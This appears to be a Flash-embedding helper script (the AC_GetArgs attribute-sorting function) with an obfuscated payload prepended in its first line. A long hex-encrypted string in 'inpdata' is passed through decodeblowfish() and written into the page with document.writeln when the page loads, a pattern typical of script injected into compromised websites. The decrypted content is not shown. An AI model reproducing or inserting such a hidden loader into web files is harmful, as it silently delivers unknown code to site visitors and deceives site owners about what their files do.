inpdata="009E0476B93EF16C1439226DBD927DA88D07FC8F63A617DF0187CDAFD69497C7811F60634BD0892201BF19581B058117029F16DEB07C69D3B81BAEBA8F4595A8A172717B9BE93F777C545A895A6A2C7C07BDA86E854412CCF6DE6EF47A2485807DB6F6230A92B0D11544B4AE14882352950DBF4BE4A4418C132F2024495A35F43C50B036C9289531458A72914FCEFD0CA72342463944583F9D79EEF4BF926283B8A4D6162C864216AB30C67E918938FD3E8E37EE401F5563F0DF8D7FA586DF787909EEC65910B504A206F660F57E85FF7B4706605FB899B8C738967AEC9D73115334D1A206FC22F450648DF25BEC95A83A4B38569E405049E5CE850C91B75CB6028FA4925217358A8B36EEA6279D8100AC4730D7B93F22F5E177E056559352D5E2B796DF6B1E3CF607A73A3B0B72C886A5DD7C6B6A9120200FE359692308BAE4E41010A62229A85F8BF06D0C11BBAC7E6CCFC87913A61A685B66EE65DABF9022A194DDB8344994C4341BFACAA117F56B7149EC491FDFF949B99098B99931DC4C19567D625C38C70D8584C451A955BB1184703749CED563BE6FC0B69287C9752C349A5667AB994EDD677B99F159AE0079D69C5F7B74107B465C0ACFC139EEBA7668B7C663FC41C5A35881239FBE1B226320D6DDA3085F5357ECE5CB053F3BC32F06E14655594BC5B3FFD8C7685A0053B7B39C74ACADB79832CF51020AF90E75ACD749688217255FF3C12EE017159AEBE6A3CE6280BE2CF435BCD14F35B8073FC19A36882005463A2476963BB5D92DEB57118291738C9676E6FFD81A56366B42DF555AFACD0BC8FB0AB5D8231240D646CACE9482F7A9947CB77A58D40480FD5EB9224066CAE9782D51EFA5FB2DF45923254D3DB1E606C2E31D0AB68FA164E9643CEFBE44C93BBE64BEF71F7F2F51F584F2F9FDFFA7812B8BE77439AF63A19BD45C3876C099C983FD05824904BBE79FBD3ACC3C63B3C14662F6B25A5FD91E3517A33A34E7887614F57A1547109168B888F8C31040B88338D7C515CA0F003366AD2AE5C45BAA61612687ADA2F09FDFFB4C455E4A5EDBA4ECE9C241200F3C569C95373A07956FA616970D29C45BB74E3574F749CDF94822A3587B4D15E5C217A66D61B4B1B1289C8C592BD6CE4027A59752D03BB3488E7E924B2E5E4A5EDBA4ECE9C21FD149CB0A51EB06385835F231599FF20EFA3051976C008A9A28356FBAD2E4CB7BAADF63E50A5DA1E756026E438B1BAAC6B80E81B3226D37FBE3584F8A28CC6E8870583280469745D15E48C6F8975548B5A6EBA65F10AFAD56ACBDB7AA48BD0A630FCF7E52A70CD1AFDD9AE458165EB7E9D164296B1C9CE22F5762FFFB776C9A39C8DD2E7CA48E93712971DE6BB679766F52A75DA90A6DACEA9687C9B4D15653548556884A6ACBC17B8163C7F44CDC824C4D4DF47E4546364B391BC60DDF3889807D1AB9D538ADF4D0501622F8C12DB0776E2808FE72DBF84FD2CA8006D3DE0744BAE1676DE96CDF3B76BA7969A45078A16112FA6A84454E4270F1675A43F8D37A6545EE94E5983167C93DFA2130A3CC49448B8F06B45F00DD77BE92F57A4D037434067AAB91ED016FF900FFC78AE3CC2CE60FDFE5B0E484B8A973D4B5825DFE6FF900FFC78AE3CC2CE60FDFE5B0E484E637F5E90CBD2254990FD2C8B769A03DCF561F71EAC23318655069532843B2BAFBCCF740CB62BCB91AEBE1906314FBEEC3B7D3B4E265C295AA833F30A9BCF904969EC687C9ACBEEFC25277E4CF399ACFFC6ACE0BCA410360E7907BEA12054B8E9EC36A5A993853929E0092C33F76689B2D0DAE2EEFB4F13304418F934BC6E7E97B0D3C24F2216DC475967D5482EF47676715BAA6C4919EE3D76A38FE2AD932D4D88330E47E88642B3F00973BC46EE4F8E15B15C25832676BD739BC15D315299B336D348C97B82D84B3E62BADA4FED1E14347582FA5E80792776B3356F5781D4005C142446F3717244347582FA5E80792776B3356F5781D40307697F265314CB39BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA9BD635F20A8449AA7DE367A0290380F2AE13FA8F33BB08D5DF5D07337EC0F37215B9EBA574D3FE39F4C1A64B650BFD4B5D86FEAEF73C5BCE09546BF1F7757A7BFC523451BB99BAE907CDA836CD3A73FA81EB9040DADDC56A5E3CEF3165225F1EEFF1543439E0E87DDD15F8295EE22F95BA28AA7706EFF5BCB0A4B3F68602F87D7F09E96EF4D1DD6C5D55B8DE10C59E8176669F57B6FD59C372703E27F4DCC61AA1BE062885D5E892540D18FB3069AA571F7D5EE8BB5212A6334575B134D73DE7A1D4B081B9CE5D54E1786F497C1077A6E46D2DC32D7CE3B20CF999C9DE1B98733D1EEDBF1522181CB82747F5131E75EBA9559F58A0E5FB1E430433D501C631E69675DC1A71116FBE39495FDC6065034F3F00973BC46EE4F8E15B15C25832676BD87B21B49AD26706F99EC1FD8C8E5487C39CCE9A8AECC8CE3C05A604E70FB8BBF7BF368EBA6CA99FFF5EA67949283DCB34263A281CD2BE93636E4A19905011DA52C83B13A506B47B1BFEB5E6801ECB3662AD1CF5726E9E2A3465F9955C5B02671D6658F9B14A54EE471C11CEC086571337ED24C12099C316108709B63E03ECA69913962516F02955B196357BA4927C16F9BAD4FAF99B80F6B6925D6972B34CC52711BFD0D8E256AF7707B0C77C7CC450B759543F7A56FCC4F3F61711F1FF9F44E129ABE9149ABD3C3B302033A7AC1BE9DE5750F5DFBA5B8A6952C45F149A4B3F7AE1C48531A44384F59D801B45B5321F212D6D7C032DF0BC40EF5E82D970BC8DDF7EF3BFDDDA97736FE6A2763F32E97543C7A6256DAC3F701478CB829C5C35DE1E3E9545691BDC72B6C045CF48A687921813C6D1004F569F63F6DC592BD302B30E8CF5236C864C47A773D2FC184871B1DB5D74915A7E22484C21748F7E622AF49ACFFCA8F2B3A3231173702338046BA189121EAFBC36A3ADCA66AF6E1D0A08309CCB6D75BA5E8BB27DC576139F6F036FE958567D28EB15BB877B5C557C54646A2AEB8606782CB12A202AC4ECD4C6FC36E46F8C96DC43E167B1E314E3A84CCBA2A9E3E0D61496FF2724173F72B4345D7387EF553FC85EF2A16037C4E3C3950324F7985A4D1BE9A8D03E9805E13B33535D3C585C9930393A3B83190792F0B7B3B3DA2E246890AB5A1AFC2FD94217E52032581B50CF6F4F284887E1EF1CBE11A0B9C440B62F85FD2BF97CF737F3D54588B35B6A8FAF1755525B875EAFA9342AB52C0F191F2762B86A583E21ABE3043736E6ADF9C9DF3D1D66FE577C2036A2FB7F53539055FFC4F82091D0CE58ADB61FEF5F613E4E9076EE0D4B643C29369E99DBC328073C6CCC6D827F97E1EDB8535534EF076A2E6660CBDDA0509019E5FF1C663581D068A8407E1D25EE3ED0D3B4C89D0994824225B402F1FB6B4783119CB6E5B764EB29D3DA1B2BF3082DE122A5841A63899C0F4CBE307AD7F52447C73E9314F2918255A14F465287F91304DB84D2F5AA6962C65F8EA97CBBA22BC2223A965AE4FA823FDB434D1DAB08B57EEE557ADC3EED2101DCBD7D65BF07A9E274E4727251471E6DF587C8FA3C9A59387E63CF8200074E87BDDFD8963D6962C65F8EA97CBB3E4A53FA528FF679E2E29F0CE5E6CBB39707160438343C453744A726881861C8E13D7BCDD2E2CED92E6DA940C71B26814913816F1DE205689E6FE563A168930312059BA4DB2DF332F3ED5BA768E73E76561B58CD2F363E2A39F34128034C692BC871A639B8F6526F82B1BB2DE7CB7F158735BA6C4BCA8AB6D9677DE09DFF25A54AA222E940C38D0B205A16CEE5258DA1ABB4B693E00469A97FCB446F4915B799D2155D1BC968F3D56664AE6B66242A463B2181669BFF9E60AB96811C0AF675805D51C60543CEDE6DAB18BBDE06C40E235D4C86F385399E98A7E549F1D8903617C72B33B837B311475393B8C0FF286849163C2B5B5B0E507E069411CD44BB8DB9F34A6F6E12ABED276403AE8F9239378B50E3661E2F97C28A2CD7C4D158D1A3A80C37D6FD172DFEA5CD8B75372BF060139A87842FC9C5294360E918CD27A273FB2BEA9D6AACFC0D2CF4D3AAD37E3B13AD91200926CFE6C40D868C09C57131B5F8A99AE2B801C65E5C8216F1E15F85AF83%71%76%63%63%41%4A%75%78%57%71";document.writeln(decodeblowfish());

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    

    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblClick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}
